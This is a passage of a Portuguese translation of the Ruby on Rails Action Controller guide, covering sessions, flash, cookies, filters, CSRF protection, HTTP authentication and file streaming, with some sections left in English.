A API de parâmetros fortes foi desenhada com os casos mais comuns em mente. Não houve a intenção de torná-la uma bala prateada para lidar com todos os seus problemas de filtragem de parâmetros. Entretanto, você pode facilmente misturar a API com seu próprio código para se adaptar à sua situação.

5 Sessão

Sua aplicação possui uma sessão para cada usuário, na qual pode-se armazenar quantidades pequenas de dados que serão persistidos entre as requisições. A sessão fica disponível apenas no controller e na view e pode utilizar um dentre vários mecanismos diferentes de armazenamento:

- ActionDispatch::Session::CookieStore - Armazena tudo no cliente.

- ActionDispatch::Session::CacheStore - Armazena os dados no cache do Rails.

- ActionDispatch::Session::ActiveRecordStore - Armazena os dados em um banco de dados utilizando o Active Record. (a gem activerecord-session_store é necessária).

- ActionDispatch::Session::MemCacheStore - Armazena os dados em um cluster de cache de memória (esta é uma implementação legada; considere utilizar o CacheStore como alternativa)

Todos os armazenamentos de sessão utilizam um cookie para armazenar um ID único para cada sessão (você deve utilizar um cookie, o Rails não permitirá que você passe o ID da sessão na URL, pois isso é menos seguro).

Para a maioria dos armazenamentos, esse ID é utilizado para procurar os dados da sessão no servidor, por exemplo, em uma tabela do banco de dados. Há apenas uma exceção, que é o armazenamento de sessão recomendado por padrão - o CookieStore - que armazena todos os dados da sessão no próprio cookie (o ID ainda estará disponível para você, se você precisar). A vantagem é a de ser muito leve e requer zero configuração em uma nova aplicação para utilizar a sessão. Os dados do cookie são assinados criptograficamente para torná-los invioláveis, e também é criptografado para que qualquer pessoa com acesso não leia o seu conteúdo. (O Rails não aceitará se estiver sido editado).

O CookieStore pode armazenar cerca de 4kB de dados - muito menos que os demais - mas geralmente é o suficiente. O armazenamento de grandes quantidades de dados na sessão não é recomendado, independentemente de qual armazenamento de sessão sua aplicação utiliza. Você deve evitar armazenar objetos complexos (como instâncias de model) na sessão, pois o servidor pode não ser capaz de remontá-los entre as requisições, o que resultará em um erro.

Se as suas sessões de usuário não armazenam dados críticos ou não precisam durar por longos períodos (por exemplo, se você apenas utiliza o flash para mensagens), considere o uso do ActionDispatch::Session::CacheStore. Isso armazenará as sessões utilizando a implementação de cache que você configurou para a sua aplicação. A vantagem é que você pode utilizar sua infraestrutura de cache existente para armazenar sessões sem precisar de nenhuma configuração ou administração adicional. A desvantagem é que as sessões serão temporárias e poderão desaparecer a qualquer momento.

Leia mais sobre armazenamento de sessão no Guia de Segurança.

Se você precisar de um mecanismo diferente de sessão de armazenamento, você poderá alterá-lo no initializer:

# Use the database for sessions instead of the cookie-based default,
# which shouldn't be used to store highly confidential information
# (create the session table with "rails g active_record:session_migration")
# Rails.application.config.session_store :active_record_store

# Use the database for sessions instead of the cookie-based default, # which shouldn't be used to store highly confidential information # (create the session table with "rails g active_record:session_migration") # Rails.application.config.session_store :active_record_store Copiar

O Rails configura uma chave de sessão (o nome do cookie) ao assinar os dados da sessão. Estes também podem ser alterados no initializer:

# Be sure to restart your server when you modify this file.
Rails.application.config.session_store :cookie_store, key: '_your_app_session'

# Be sure to restart your server when you modify this file. Rails.application.config.session_store :cookie_store, key: '_your_app_session' Copiar

Você também pode passar uma chave :domain e especificar o nome do domínio para o cookie:

# Be sure to restart your server when you modify this file.
Rails.application.config.session_store :cookie_store, key: '_your_app_session', domain: ".example.com"

# Be sure to restart your server when you modify this file. Rails.application.config.session_store :cookie_store, key: '_your_app_session', domain: ".example.com" Copiar

O Rails configura (para o CookieStore) uma chave secreta utilizada para assinar os dados da sessão em config/credentials.yml.enc. Isso pode ser alterado com o comando bin/rails credentials:edit.

# aws:
#   access_key_id: 123
#   secret_access_key: 345

# Used as the base secret for all MessageVerifiers in Rails, including the one protecting cookies.
secret_key_base: 492f...

# aws: # access_key_id: 123 # secret_access_key: 345 # Used as the base secret for all MessageVerifiers in Rails, including the one protecting cookies. secret_key_base: 492f... Copiar

Alterar a secret_key_base ao utilizar o CookieStore invalidará todas as sessões existentes.

5.1 Acessando a Sessão

No seu controller, você pode acessar a sessão através do método de instância session.

As sessões são lazy loading (carregamento lento). Se você não acessá-las no código da sua action, elas não serão carregadas. Portanto, você nunca precisará desativar as sessões, basta apenas não acessá-las.

Os valores da sessão são armazenados utilizando pares de chave/valor como em um hash:

class ApplicationController < ActionController::Base

private

# Finds the User with the ID stored in the session with the key
# :current_user_id This is a common way to handle user login in
# a Rails application; logging in sets the session value and
# logging out removes it.
def current_user
@_current_user ||= session[:current_user_id] &&
User.find_by(id: session[:current_user_id])
end
end

class ApplicationController < ActionController::Base private # Finds the User with the ID stored in the session with the key # :current_user_id This is a common way to handle user login in # a Rails application; logging in sets the session value and # logging out removes it. def current_user @_current_user ||= session[:current_user_id] && User.find_by(id: session[:current_user_id]) end end Copiar

Para armazenar algo na sessão, basta atribuí-lo à chave como em um hash:

class LoginsController < ApplicationController
# "Create" a login, aka "log the user in"
def create
if user = User.authenticate(params[:username], params[:password])
# Save the user ID in the session so it can be used in
# subsequent requests
session[:current_user_id] = user.id
redirect_to root_url
end
end
end

class LoginsController < ApplicationController # "Create" a login, aka "log the user in" def create if user = User.authenticate(params[:username], params[:password]) # Save the user ID in the session so it can be used in # subsequent requests session[:current_user_id] = user.id redirect_to root_url end end end Copiar

Para remover algo da sessão, exclua o par de chave/valor:

class LoginsController < ApplicationController
# "Delete" a login, aka "log the user out"
def destroy
# Remove the user id from the session
session.delete(:current_user_id)
# Clear the memoized current user
@_current_user = nil
redirect_to root_url
end
end

class LoginsController < ApplicationController # "Delete" a login, aka "log the user out" def destroy # Remove the user id from the session session.delete(:current_user_id) # Clear the memoized current user @_current_user = nil redirect_to root_url end end Copiar

Para redefinir a sessão inteira, utilize reset_session.

5.2 The Flash

The flash is a special part of the session which is cleared with each request. This means that values stored there will only be available in the next request, which is useful for passing error messages, etc.

The flash is accessed via the flash method. Like the session, the flash is represented as a hash.

Let's use the act of logging out as an example. The controller can send a message which will be displayed to the user on the next request:

class LoginsController < ApplicationController
def destroy
session.delete(:current_user_id)
flash[:notice] = "You have successfully logged out."
redirect_to root_url
end
end

class LoginsController < ApplicationController def destroy session.delete(:current_user_id) flash[:notice] = "You have successfully logged out." redirect_to root_url end end Copiar

Note that it is also possible to assign a flash message as part of the redirection. You can assign :notice, :alert or the general purpose :flash:

redirect_to root_url, notice: "You have successfully logged out."
redirect_to root_url, alert: "You're stuck here!"
redirect_to root_url, flash: { referral_code: 1234 }

redirect_to root_url, notice: "You have successfully logged out." redirect_to root_url, alert: "You're stuck here!" redirect_to root_url, flash: { referral_code: 1234 } Copiar

The destroy action redirects to the application's root_url, where the message will be displayed. Note that it's entirely up to the next action to decide what, if anything, it will do with what the previous action put in the flash. It's conventional to display any error alerts or notices from the flash in the application's layout:

<html>
<!-- <head/> -->
<body>
<% flash.each do |name, msg| -%>
<%= content_tag :div, msg, class: name %>
<% end -%>

<!-- more content -->
</body>
</html>

<html> <!-- <head/> --> <body> <% flash.each do |name, msg| -%> <%= content_tag :div, msg, class: name %> <% end -%> <!-- more content --> </body> </html> Copiar

This way, if an action sets a notice or an alert message, the layout will display it automatically.

You can pass anything that the session can store; you're not limited to notices and alerts:

<% if flash[:just_signed_up] %>
<p class="welcome">Welcome to our site!</p>
<% end %>

<% if flash[:just_signed_up] %> <p class="welcome">Welcome to our site!</p> <% end %> Copiar

If you want a flash value to be carried over to another request, use flash.keep:

class MainController < ApplicationController
# Let's say this action corresponds to root_url, but you want
# all requests here to be redirected to UsersController#index.
# If an action sets the flash and redirects here, the values
# would normally be lost when another redirect happens, but you
# can use 'keep' to make it persist for another request.
def index
# Will persist all flash values.
flash.keep

# You can also use a key to keep only some kind of value.
# flash.keep(:notice)
redirect_to users_url
end
end

class MainController < ApplicationController # Let's say this action corresponds to root_url, but you want # all requests here to be redirected to UsersController#index. # If an action sets the flash and redirects here, the values # would normally be lost when another redirect happens, but you # can use 'keep' to make it persist for another request. def index # Will persist all flash values. flash.keep # You can also use a key to keep only some kind of value. # flash.keep(:notice) redirect_to users_url end end Copiar

5.2.1 flash.now

By default, adding values to the flash will make them available to the next request, but sometimes you may want to access those values in the same request. For example, if the create action fails to save a resource and you render the new template directly, that's not going to result in a new request, but you may still want to display a message using the flash. To do this, you can use flash.now in the same way you use the normal flash:

class ClientsController < ApplicationController
def create
@client = Client.new(client_params)
if @client.save
# ...
else
flash.now[:error] = "Could not save client"
render action: "new"
end
end
end

class ClientsController < ApplicationController def create @client = Client.new(client_params) if @client.save # ... else flash.now[:error] = "Could not save client" render action: "new" end end end Copiar

6 Cookies

Sua Aplicação pode armazemar pequenas quantidades de dados no cliente - chamados de cookies - que serão mantidas entre requisições e até as sessões. O Rails fornece um fácil acesso para os cookies através do método cookies, que - assim como a session - funciona como um hash:

class CommentsController < ApplicationController
def new
# Preencher automaticamente o nome de quem comentou se ele estiver armazenado em um cookie
@comment = Comment.new(author: cookies[:commenter_name])
end

def create
@comment = Comment.new(comment_params)
if @comment.save
flash[:notice] = "Thanks for your comment!"
if params[:remember_name]
# Lembrar o nome de quem fez o comentário
cookies[:commenter_name] = @comment.author
else
# Deletar o cookie do nome de quem fez o comentário, caso exista.
cookies.delete(:commenter_name)
end
redirect_to @comment.article
else
render action: "new"
end
end
end

class CommentsController < ApplicationController def new # Preencher automaticamente o nome de quem comentou se ele estiver armazenado em um cookie @comment = Comment.new(author: cookies[:commenter_name]) end def create @comment = Comment.new(comment_params) if @comment.save flash[:notice] = "Thanks for your comment!" if params[:remember_name] # Lembrar o nome de quem fez o comentário cookies[:commenter_name] = @comment.author else # Deletar o cookie do nome de quem fez o comentário, caso exista. cookies.delete(:commenter_name) end redirect_to @comment.article else render action: "new" end end end Copiar

Perceba que enquanto para valores de sessão você pode definir a chave como nil, para deletar um valor de cookie você deve usar cookies.delete(:key).

O Rails também fornece um cookie jar assinado e um cookie jar criptografado para amazenar dados sensíveis. O cookie jar assinado anexa uma assinaura criptográfica nos valores do cookie para proteger sua integridade. O cookie jar criptografado, criptografa os valores além de assiná-los, para que eles não possam ser lidos pelo usuário final. Consulte a documentação da API (em inglês) para mais detalhes.

Esses cookie jars especiais usam um serializer para serializar os valores atribuídos em strings e desserializa-os em objetos Ruby na leitura.

Você pode especificar qual serializer usar:

Rails.application.config.action_dispatch.cookies_serializer = :json

Rails.application.config.action_dispatch.cookies_serializer = :json Copiar

O serializer padrão para novas aplicações é :json. Para compatibilidade com aplicações antigas que usam cookies, o :marshal é usado quando a opção serializer não está especificada.

Você também pode definir esta opção como :hybrid, nesse caso o Rails desserializaria de forma transparente os cookies (serializados no formato Marshal) existentes ao ler e reescrevê-los no formaro JSON. Isso é útil para migrar aplicações existentes para o serializer :json.

Também é possível passar um serializer personalizado que responda a load e dump:

Rails.application.config.action_dispatch.cookies_serializer = MyCustomSerializer

Rails.application.config.action_dispatch.cookies_serializer = MyCustomSerializer Copiar

Ao usar o serializer :json ou :hybrid, lembre-se de que nem todos os os objetos Ruby podem ser serializados como JSON. Por exemplo, objetos Date eTime serão serializados como strings, e os Hashes terão suas chaves transformadas em string também.

class CookiesController < ApplicationController
def set_cookie
cookies.encrypted[:expiration_date] = Date.tomorrow # => Thu, 20 Mar 2014
redirect_to action: 'read_cookie'
end

def read_cookie
cookies.encrypted[:expiration_date] # => "2014-03-20"
end
end

class CookiesController < ApplicationController def set_cookie cookies.encrypted[:expiration_date] = Date.tomorrow # => Thu, 20 Mar 2014 redirect_to action: 'read_cookie' end def read_cookie cookies.encrypted[:expiration_date] # => "2014-03-20" end end Copiar

É aconselhável que você armazene apenas dados simples (strings e números) nos cookies. Se você precisar armazenar objetos complexos, precisará lidar com a conversão manualmente ao ler os valores em requisições subsequentes.

Se você usar o cookie de armazenamento de sessão, isso também se aplicaria aos hashes session e flash.

7 Renderizando dados XML e JSON

O ActionController faz com que renderizar dados XML ou JSON seja extremamente fácil. Se você gerou um controller usando o scaffold, será algo mais ou menos assim:

class UsersController < ApplicationController
def index
@users = User.all
respond_to do |format|
format.html # index.html.erb
format.xml  { render xml: @users }
format.json { render json: @users }
end
end
end

class UsersController < ApplicationController def index @users = User.all respond_to do |format| format.html # index.html.erb format.xml { render xml: @users } format.json { render json: @users } end end end Copiar

Você pode observar que no código acima estamos usando render xml: @users, e não render xml: @users.to_xml. Se o objeto não é uma String, então o Rails automaticamente chama to_xml por nós.

8 Filtros

Filtros são métodos que rodam "before" (antes de), "after" (depois de) ou "around" (em torno de) de uma ação de controller.

Filtros são herdados, então se você configurou um filtro em ApplicationController, o mesmo irá rodar em cada controller da sua aplicação.

Filtros "before" são registrados através do método before_action. Eles podem interromper o ciclo de uma requisição. Um filtro comum para "before" é o que requer que um usuário está logado para que uma ação seja executada. Você pode definir o método do filtro dessa forma:

class ApplicationController < ActionController::Base
before_action :require_login

private

def require_login
unless logged_in?
flash[:error] = "You must be logged in to access this section"
redirect_to new_login_url # interrompe o ciclo da requisição
end
end
end

class ApplicationController < ActionController::Base before_action :require_login private def require_login unless logged_in? flash[:error] = "You must be logged in to access this section" redirect_to new_login_url # interrompe o ciclo da requisição end end end Copiar

Esse método simplesmente armazena uma mensagem de erro no flash e redireciona para o formulário de login se o usuário não estiver logado. Se um filtro "before" renderiza ou redireciona, a ação não será executada. Se filtros adicionais estão programados para executar após esse filtro, eles são cancelados também.

Nesse exemplo o filtro é adicionado ao ApplicationController e dessa forma todos os controllers na aplicação irão herdar ele. Isso fará com que tudo na aplicação requeira que o usuário esteja logado para que ele possa usar. Por razões óbvias (o usuário não conseguiria fazer o log in para começo de conversa!), nem todos os controllers devem requerer isso. Você pode evitar esse filtro de ser executado antes de ações em particular com skip_before_action:

class LoginsController < ApplicationController
skip_before_action :require_login, only: [:new, :create]
end

class LoginsController < ApplicationController skip_before_action :require_login, only: [:new, :create] end Copiar

Agora, as ações de new e create do LoginsController irão funcionar como antes sem requerer que o usuário esteja logado. A opção :only é usada para pular esse filtro somente para essas ações, e existe também a opção :except que funciona de maneira contrária. Essas opções podem ser utilizadas quando adicionamos filtros também, para que você possa adicionar um filtro que somente executa para as ações selecionadas.

Chamar o mesmo filtro múltiplas vezes com diferentes opções não irá funcionar, já que a última definição do filtro irá sobreescrever as anteriores.

8.1 Filtros after e around

Além de filtros "before", você pode também executar filtros depois que uma ação tenha sido executada, ou antes e depois em conjunto.

Filtros "after" são registrados através do método after_action. Eles são similares aos filtros "before", mas porque a ação já foi executada eles tem acesso a dados da resposta que serão enviados para o cliente. Obviamente, filtros "after" não podem impedir uma ação de ser executada. Note também que filtros "after" são executados somente após uma ação bem sucedida, mas não quando uma exceção é gerada durante o ciclo de uma requisição.

Filtros "around" são registrados através do método around_action. Eles são responsáveis por executar as ações associadas por yield, simular a como os middlewares do Rack funcionam.

Por exemplo, em um website aonde alterações possuem um fluxo de aprovação, um administrador pode pré-visualizar as mesmas facilmente, aplicando-as dentro de uma transação.

class ChangesController < ApplicationController
around_action :wrap_in_transaction, only: :show

private

def wrap_in_transaction
ActiveRecord::Base.transaction do
begin
yield
ensure
raise ActiveRecord::Rollback
end
end
end
end

class ChangesController < ApplicationController around_action :wrap_in_transaction, only: :show private def wrap_in_transaction ActiveRecord::Base.transaction do begin yield ensure raise ActiveRecord::Rollback end end end end Copiar

Note que um filtro "around" também envolve a renderização. Em particular, no exemplo acima, se a view efetuar uma leitura no banco de dados (p. ex. usando um scope), a mesma é efetuada dentro de uma transação e então apresenta a informação para visualização.

Você pode escolher não efetuar yield e montar a resposta você mesmo, o que faria com que a ação não fosse executada.

8.2 Outras Formas de Usar Filtros

Enquanto a forma mais comum de se utilizar filtros é criando métodos privados e usando before_action, after_action, ou around_action para adicioná-los, existem duas outras formas para fazer a mesma coisa.

A primeira é utilizar um bloco diretamente com método *_action. O bloco recebe o controller como um argumento. O filtro require_login acima pode ser reescrito para utilizar um bloco:

class ApplicationController < ActionController::Base
before_action do |controller|
unless controller.send(:logged_in?)
flash[:error] = "Você deve estar logado para acessar essa seção"
redirect_to new_login_url
end
end
end

class ApplicationController < ActionController::Base before_action do |controller| unless controller.send(:logged_in?) flash[:error] = "Você deve estar logado para acessar essa seção" redirect_to new_login_url end end end Copiar

Note nesse caso que o filtro utiliza send porque o método logged_in? é privado e o filtro não é executado no escopo do controller. Essa não é a forma recomendada para implementar esse filtro em particular, mas em casos mais simples ele pode ser útil.

Especificamente para around_action, o bloco também acessa a action:

around_action { |_controller, action| time(&action) }

around_action { |_controller, action| time(&action) } Copiar

A segunda forma é utilizar uma classe (na verdade, qualquer objeto que responda aos métodos corretos serve) para gerenciar a filtragem. Isto é útil em casos mais complexos que não são possíveis de serem implementados de uma forma de fácil leitura e reutilizados usando as outras duas abordagens. Por exemplo, você pode reescrever o filtro de login novamente utilizando uma classe:

class ApplicationController < ActionController::Base
before_action LoginFilter
end

class LoginFilter
def self.before(controller)
unless controller.send(:logged_in?)
controller.flash[:error] = "Você deve estar logado para acessar essa seção"
controller.redirect_to controller.new_login_url
end
end
end

class ApplicationController < ActionController::Base before_action LoginFilter end class LoginFilter def self.before(controller) unless controller.send(:logged_in?) controller.flash[:error] = "Você deve estar logado para acessar essa seção" controller.redirect_to controller.new_login_url end end end Copiar

Novamente, esse não é um exemplo ideal para esse filtro, pois não é executado dentro do escopo do controller mas recebe o mesmo como um argumento. A classe de filtro deve implementar um método com o mesmo nome do filtro, então para o filtro de before_action a classe deve implementar um método before, e assim em diante. O método around deve efetuar yield para executar a ação.

9 Proteção de falsificação de requisição

Falsificação de requisições cross-site é um tipo de ataque no qual o site engana o usuário a fim de que ele faça requisições em outro site, possivelmente adicionando, alterando ou deletando informações naquela site sem o conhecimento ou a permissão do usuário.

O primeiro passo para evitar isso é ter certeza que todas as ações "destrutivas" (criar, atualizar, e destruir) possam ser acessadas somente via requisições que não sejam GET. Se você está seguindo as convenções RESTful você já está fazendo isso. Contudo, sites maliciosos continuam podendo enviar requisições não GET para o seu site facilmente, e é aí que a proteção de falsificação de requisição entra. Como o nome diz, ela te protege de requisições falsas.

A forma como isso é feito é adicionando um token não adivinhável que é conhecido apenas pelo seu servidor para cada requisição. Desta forma, se uma requisição chega sem um token conhecido, o seu acesso será negado.

Se você gera um form como este:

<%= form_with model: @user do |form| %>
<%= form.text_field :username %>
<%= form.text_field :password %>
<% end %>

<%= form_with model: @user do |form| %> <%= form.text_field :username %> <%= form.text_field :password %> <% end %> Copiar

Você perceberá como o token é adicionado como um campo invisível.

<form accept-charset="UTF-8" action="/users/1" method="post">
<input type="hidden"
value="67250ab105eb5ad10851c00a5621854a23af5489"
name="authenticity_token"/>
<!-- fields -->
</form>

<form accept-charset="UTF-8" action="/users/1" method="post"> <input type="hidden" value="67250ab105eb5ad10851c00a5621854a23af5489" name="authenticity_token"/> <!-- fields --> </form> Copiar

O Rails adiciona esse token para cada form que é gerado usando o form helpers, então na maior parte das vezes você não precisa se preocupar com isso. Se você está escrevendo um form manualmente ou precisa adicionar o token para outra sessão, ele está disponível por meio do método form_authenticity_token.

O form_authenticity_token gera um token de autenticação válido. Isso é útil em lugar aonde o Rails não adiciona o mesmo automaticamente, como em chamadas Ajax personalizadas.

O Guia de segurança possui mais informações sobre isso e muitos outros problemas relacionados a segurança que você deve estar ciente quando desenvolve uma aplicação web.

10 Os Objetos de Requisição e Resposta

Em todo controller existem dois métodos de acesso apontando para os objetos de requisição e de resposta associados com o ciclo de requisição que estiver em execução no momento. O método request contém uma instância de ActionDispatch::Request e o método response retorna um objeto de resposta representando o que será enviado de volta ao cliente.

10.1 O Objeto request

O objeto de requisição contém muitas informações úteis sobre a requisição proveniente do cliente. Para obter uma lista completa dos métodos disponíveis verifique a documentação da API do Rails e a documentação do Rack. Entre as propriedades que você pode acessar estão:

Propriedade de request

Propósito

host

O hostname utilizado para esta requisição.

domain(n=2)

Os primeiros n segmentos do hostname, iniciando pela direita (o domínio de primeiro nível).

format

O tipo de conteúdo requisitado pelo cliente.

method

O método HTTP utilizado para a requisição.

get?, post?, patch?, put?, delete?, head?

Retorna true se o método HTTP é GET/POST/PATCH/PUT/DELETE/HEAD.

headers

Retorna um hash contendo os headers associados com a requisição.

port

O número (integer) da porta utilizada para a requisição.

protocol

Retorna uma string contendo o protocolo utilizado, além do trecho "://". Por exemplo: "http://".

query_string

A query string da URL (todo o trecho após "?").

remote_ip

O endereço IP do cliente.

url

A URL completa utilizada para a requisição.

10.1.1 path_parameters, query_parameters, e request_parameters

O Rails armazena todos os parâmetros enviados com a requisição no hash params, não importando se eles foram enviados como parte da query string ou no corpo da requisição. O objeto de requisição tem três métodos de acesso que te fornecem acesso a estes parâmetros dependendo de onde eles vieram. O hash query_parameters contem os parâmetros que foram enviados por meio da query_string enquanto o hash request_parameters contém os parâmetros enviados através do corpo da requisição. O hash path_parameters contém os parâmetros que foram reconhecidos pelo roteamento como parte do caminho que leva ao controller e action sendo executados.

10.2 O Objeto response

O objeto de resposta geralmente não é usado diretamente, mas é construído durante a execução da action e renderização dos dados que serão enviados de volta ao usuário, porém às vezes - como num filtro posterior - ele pode ser útil para acessar a resposta diretamente. Alguns destes métodos de acesso também possuem setters, lhe permitindo mudar seus valores. Para obter uma lista completa dos métodos disponíveis verifique a documentação da API do Rails e a documentação do Rack;

Propriedade de response

Propósito

body

Esta é a string de dados sendo enviada de volta ao usuário. Na maioria dos casos se trata de código HTML.

status

O código de status HTTP para a resposta, como um código 200 para uma requisição bem sucedida ou 404 para um arquivo não encontrado.

location

A URL que o cliente estiver sendo redirecionado para, caso haja alguma.

content_type

O tipo de conteúdo da resposta.

charset

O conjunto de caracteres sendo utilizado na resposta. O valor padrão é "utf-8".

headers

Headers utilizados para a resposta.

10.2.1 Definindo Headers customizados

Se você quer definir headers customizados para uma resposta então response.headers é o local indicado para ajustar isto. O atributo headers é um hash que mapeia os nomes dos headers para seus respectivos valores, e o Rails irá definir alguns deles automaticamente. Se você quiser adicionar ou modificar um header, basta sinalizá-lo para response.headers da seguinte maneira:

response.headers["Content-Type"] = "application/pdf"

response.headers["Content-Type"] = "application/pdf" Copiar

No caso acima faria mais sentido utilizar o setter content_type diretamente.

11 Autenticações HTTP

O Rails vem com três mecanismos de autenticação HTTP embutidos:

- Autenticação Basic

- Autenticação Digest

- Autenticação Token

11.1 Autenticação HTTP Basic

Autenticação HTTP basic é um esquema de autenticação que é suportado pela maioria dos navegadores e outros clientes HTTP. Como um exemplo, considere uma página de administração que será acessável apenas informando um nome de usuário e uma senha na janela de autenticação HTTP basic do navegador. Usar a autenticação embutida é bem fácil e apenas requer que você use um método, http_basic_authenticate_with.

class AdminsController < ApplicationController
http_basic_authenticate_with name: "humbaba", password: "5baa61e4"
end

class AdminsController < ApplicationController http_basic_authenticate_with name: "humbaba", password: "5baa61e4" end Copiar

Com isso, você pode criar controllers com namespaces que herdam de AdminsController. O filtro vai, assim, ser executado para todas as ações nos controllers, protegendo-os com a autenticação HTTP basic.

11.2 Autenticação HTTP Digest

A autenticação HTTP digest é superior à autenticação basic porque ela não requer que o cliente envie uma senha sem criptografia pela rede (embora a autenticação HTTP basic seja segura via HTTPS). Usar a autenticação digest com Rails é bem fácil e requer apenas o uso de um método, authenticate_or_request_with_http_digest.

class AdminsController < ApplicationController
USERS = { "lifo" => "world" }

before_action :authenticate

private
def authenticate
authenticate_or_request_with_http_digest do |username|
USERS[username]
end
end
end

class AdminsController < ApplicationController USERS = { "lifo" => "world" } before_action :authenticate private def authenticate authenticate_or_request_with_http_digest do |username| USERS[username] end end end Copiar

Como visto no exemplo acima, o bloco authenticate_or_request_with_http_digest recebe apenas um argumento - o nome de usuário. E o bloco retorna a senha. Retornar false ou nil em authenticate_or_request_with_http_digest causará falha de autenticação.

11.3 Autenticação HTTP Token

A autenticação de token HTTP é um esquema para habilitar o uso de tokens Bearer no header HTTP Authorization. Existem muitos formatos de token disponíveis e sua descrição está fora do escopo desta documentação.

Por exemplo, suponha que você queira usar um token de autenticação emitido com antecedência para realizar a autenticação e o acesso. Implementar autenticação via token com Rails é bastante fácil e requer apenas o uso de um método, authenticate_or_request_with_http_token.

class PostsController < ApplicationController
TOKEN = "secret"

before_action :authenticate

private
def authenticate
authenticate_or_request_with_http_token do |token, options|
ActiveSupport::SecurityUtils.secure_compare(token, TOKEN)
end
end
end

class PostsController < ApplicationController TOKEN = "secret" before_action :authenticate private def authenticate authenticate_or_request_with_http_token do |token, options| ActiveSupport::SecurityUtils.secure_compare(token, TOKEN) end end end Copiar

Como visto no exemplo acima, o bloco authenticate_or_request_with_http_token recebe dois argumentos: o token e umHash contendo as opções que foram analisadas a partir do header HTTP Authorization. O bloco deve retornar true se a autenticação for bem-sucedida. Retornar false ounil causará uma falha de autenticação.

12 Streaming e Downloads de Arquivos

Às vezes você pode querer enviar um arquivo para o usuário ao invés de uma página HTML. Todos os controllers no Rails possuem os métodos send_data e send_file, que transmitem dados ao navegador. O método send_file permite que você proveja o nome do arquivo no disco e seu conteúdo será transmitido.

Para transmitir dados para o navegador, use send_data:

require "prawn"
class ClientsController < ApplicationController
# Gera um documento PDF com informações no navegador e
# o retorna. O usuário receberá o documento PDF como um download.
def download_pdf
client = Client.find(params[:id])
send_data generate_pdf(client),
filename: "#{client.name}.pdf",
type: "application/pdf"
end

private
def generate_pdf(client)
Prawn::Document.new do
text client.name, align: :center
text "Address: #{client.address}"
text "Email: #{client.email}"
end.render
end
end

require "prawn" class ClientsController < ApplicationController # Gera um documento PDF com informações no navegador e # o retorna. O usuário receberá o documento PDF como um download. def download_pdf client = Client.find(params[:id]) send_data generate_pdf(client), filename: "#{client.name}.pdf", type: "application/pdf" end private def generate_pdf(client) Prawn::Document.new do text client.name, align: :center text "Address: #{client.address}" text "Email: #{client.email}" end.render end end Copiar

A action download_pdf no exemplo acima está chamando um método privado que na verdade cria o documento PDF e o retorna como uma string. Essa string será então transmitida ao navegador como um arquivo para download e o nome do arquivo será sugerido ao usuário. Às vezes, quando arquivos são transmitidos aos usuários, você pode não querer que façam o download do arquivo. Imagens, por exemplo, podem ser embutidas em páginas HTML. Para comunicar ao navegador que não deve ser feito o download do arquivo, você pode utilizar a propriedade inline na opção :disposition. A propriedade oposta e padrão para essa opção é "attachment".

12.1 Enviando Arquivos

Se você deseja enviar um arquivo que já existe no disco, utilize o método send_file.

class ClientsController < ApplicationController
# Transmite um arquivo que já foi gerado e salvo no disco.
def download_pdf
client = Client.find(params[:id])
send_file("#{Rails.root}/files/clients/#{client.id}.pdf",
filename: "#{client.name}.pdf",
type: "application/pdf")
end
end

class ClientsController < ApplicationController # Transmite um arquivo que já foi gerado e salvo no disco. def download_pdf client = Client.find(params[:id]) send_file("#{Rails.root}/files/clients/#{client.id}.pdf", filename: "#{client.name}.pdf", type: "application/pdf") end end Copiar

Esse método irá ler e transmitir o arquivo 4kb por vez, evitando carregar o arquivo inteiro em memória de uma vez. Você pode desativar a transmissão com a opção :stream ou ajustar o tamanho do bloco com a opção :buffer_size.

Se a opção :type não for especificada, será presumido de acordo com a extensão especificada no :filename. Se o tipo do conteúdo (content_type) não estiver registrado para a extensão, será usado application/octet-stream.

Tenha cuidado ao utilizar dados vindos do navegador ( params, cookies, etc.) para localizar um arquivo no disco, pois é um risco de segurança que pode permitir a alguém ter acesso a arquivos não permitidos.

Não é recomendado que você transmita arquivos estáticos através do Rails, você pode, ao invés disso, mantê-los em uma pasta pública no seu servidor web. É muito mais eficiente deixar os usuários baixarem os arquivos diretamente utilizando Apache ou outro servidor web, evitando que a requisição passe, sem necessidade, por todo o fluxo do Rails.

12.2 RESTful Downloads

Apesar de o método send_data funcionar tranquilamente, se você está criando uma aplicação RESTful, geralmente não é necessário ter actions separadas para o download de arquivos. Na terminologia REST, o arquivo PDF do exemplo acima pode ser considerado apenas uma outra representação do recurso do navegador. Rails provê um jeito fácil e prático de fazer "downloads RESTful". Veja como você pode re-escrever o exemplo para que o download do PDF seja parte da action show, sem qualquer transmissão:

class ClientsController < ApplicationController
# O usuário pode solicitar receber este recurso como HTML ou PDF.
def show
@client = Client.find(params[:id])

respond_to do |format|
format.html
format.pdf { render pdf: generate_pdf(@client) }
end
end
end

class ClientsController < ApplicationController # O usuário pode solicitar receber este recurso como HTML ou PDF. def show @client = Client.find(params[:id]) respond_to do |format| format.html format.pdf { render pdf: generate_pdf(@client) } end end end Copiar

Para que este exemplo funcione, você deve adicionar o MIME type ao Rails. Isso pode ser feito adicionando a seguinte linha ao arquivo config/initializers/mime_types.rb:

Mime::Type.register "application/pdf", :pdf

Mime::Type.register "application/pdf", :pdf Copiar

Arquivos de configuração não são recarregados a cada requisição, então você precisa reiniciar seu servidor para que as mudanças façam afeito.

Agora os usuários podem requerer um arquivo em PDF só adicionando ".pdf" ao final da URL:

GET /clients/1.pdf

GET /clients/1.pdf Copiar

12.3 Transmissão Ao Vivo de Dado Arbitrários

O Rails permite que você transmita mais do que apenas arquivos. Na verdade, você pode transmitir o que você desejar como um objeto de resposta. O modulo ActionController::Live permite a você criar uma conexão persistente com o navegador. Utilizando esse módulo, você é capaz de enviar dados arbitrários ao navegador sem depender de uma requisição HTTP.

12.3.1 Implementando Transmissão Ao Vivo ( Live Streaming )

Incluindo ActionController::Live dentro da sua classe controller irá prover a todas as actions do seu controller a habilidade de transmitir dados. Você pode mesclar o modulo da seguinte forma:

class MyController < ActionController::Base
include ActionController::Live

def stream
response.headers['Content-Type'] = 'text/event-stream'
100.times {
response.stream.write "hello world\n"
sleep 1
}
ensure
response.stream.close
end
end

class MyController < ActionController::Base include ActionController::Live def stream response.headers['Content-Type'] = 'text/event-stream' 100.times { response.stream.write "hello world\n" sleep 1 } ensure response.stream.close end end Copiar

O código acima manterá uma conexão constante com o navegador e mandará 100 mensagens de "hello world\n", cada uma com um segundo de diferença.

